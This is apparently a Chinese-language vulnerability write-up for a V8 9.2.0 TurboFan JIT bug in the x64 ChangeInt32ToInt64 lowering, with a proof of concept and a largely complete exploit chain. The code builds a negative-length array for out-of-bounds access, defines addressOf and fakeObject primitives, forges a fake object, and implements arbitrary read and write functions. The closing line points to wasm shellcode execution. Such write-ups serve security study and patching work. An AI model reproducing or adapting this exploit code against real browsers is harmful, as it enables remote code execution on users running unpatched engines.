V8版本: 9.2.0
commit: 1e4b1c521a491c7487028b7f2aec550c1b36606b
漏洞文件:instruction-selector-x64.cc
漏洞函数:InstructionSelector::VisitChangeInt32ToInt64
补丁信息: https://chromium-review.googlesource.com/c/v8/v8/+/2820971/3/src/compiler/backend/x64/instruction-selector-x64.cc#1381
这个漏洞的主要原因应该是在JIT优化时由两个点造成的:
print = console.log;
const arr = new Uint32Array([2**31]); // 定义了一个只有一个元素的Uint32类型的数组
function foo() {
return (arr[0] ^ 0) + 1; // 漏洞触发
}
print(foo());//-2147483647 // 解释器工作
for(let i=0;i<100000;i++) // 代码价值提升,交由JIT处理
foo();
print(foo());//2147483649 //JIT处理后的结果
通过poc可以看到, JIT优化前后的输出结果不一样.
在优化前的SimplifiedLowering阶段, 函数处理是没有问题的, 通过#45 LoadTypedElement可以知道arr[0]的类型 Unsigned32,然后通过#31 Word32Xor处理之后类型为Signed32,然后需要做int32到int64的转换,调用了#58 ChangeInt32ToInt64,并将返回值与#59 Int64Constant[1]作为参数交由#50 ChangeInt32ToInt64处理:
但是在MachineOperatorOptimization阶段, 将arr[0] ^ 0通过JIT在#81 Load处获取运算所得的结果,此时该结果的类型为kRepWord32[kTypeUint32],为无符号,此时仍然经过#58 ChangeInt32ToInt64进行处理:
JavaScript函数的前几次调用期间,解释器会记录各种操作的类型信息, 比如参数访问和属性加载; 如果以后选择该函数进行JIT编译,则V8的编译器TurboFan会假定在所有后续调用中都将使用观察到的类型,并使用从解释器中得出的规则集将类型信息传播到JIT, 所以我们可以通过上面的漏洞这样构造数组:
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0); // predicted = 0; actual = 2
x -= 1; // predicted = -1; actual = 1
if(x==-1) x = 0; // predicted = 0; actual = 1
var arr = new Array(x); // predicted = 0; actual = 1
arr.shift(); // predicted = 0; actual = -1
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
var x = foo(false);
for(var i=0;i<0x30000;++i){
foo(true);
}
var x = foo(false);
print(x[0].length); // -1
在foo函数中, 开始的时候解释器在处理shift的时候判断x的值为0,正常执行,所以在JIT阶段优化掉了边界检查;而在JIT阶段因为漏洞的原因x==1,但是此时JIT仍将x的值当作0,由于x实际为1,所以shift会对数组长度做减一操作,再由于此时JIT将x的值当作0,所以最终数组的长度为0-1 == -1,这样就可以构造出了超长的数组, 可以进行越界的读写操作了:
有了越界读写的能力之后,我们就就是常规的进行类型混淆,构造自己的fake object,然后得到任意地址读写的能力;
var arr = x[0];
var cor = x[1];
const idx = 6;
arr[idx+10] = 0x2333;
function addressOf(k) {
arr[idx+1] = k;
return f2big(cor[0]) & 0xffffffffn;
}function fakeObject(k) {
cor[0] = big2f(k);
return arr[idx+1]; //返回的也只是低四字节
}
var test = [1.1,2.2,3.3];
test_addr = addressOf(test);
console.log(test_addr);
// %DebugPrint(arr);
// %DebugPrint(cor);
// %SystemBreak();
这里需要注意的是,由于有指针压缩,所以我们只能得到4个字节的地址信息, 这里的arr其实是包含了cor的了:
var float_array_map = f2big(cor[3]);
var arr2 = [big2f(float_array_map), 1.2, 2.3, 3.4]; //创建伪造对象的数组
var fake = fakeObject(addressOf(arr2) + 0x20n); //通过fakeObject伪造对象
function arbread(addr) {
if (addr % 2n == 0)
addr += 1n;
arr2[1] = big2f((2n << 32n) + addr - 8n); //由于指针压缩,需要这样写地址
return (fake[0]);
}function arbwrite(addr, val) {
if (addr % 2n == 0)
addr += 1n;
arr2[1] = big2f((2n << 32n) + addr - 8n);
fake[0] = big2f(BigInt(val));
}
因为对象操作的指针,所以我们可以任意地址读写了, 然后就是常规的wasm利用了, 将shellcode替换wasm_code…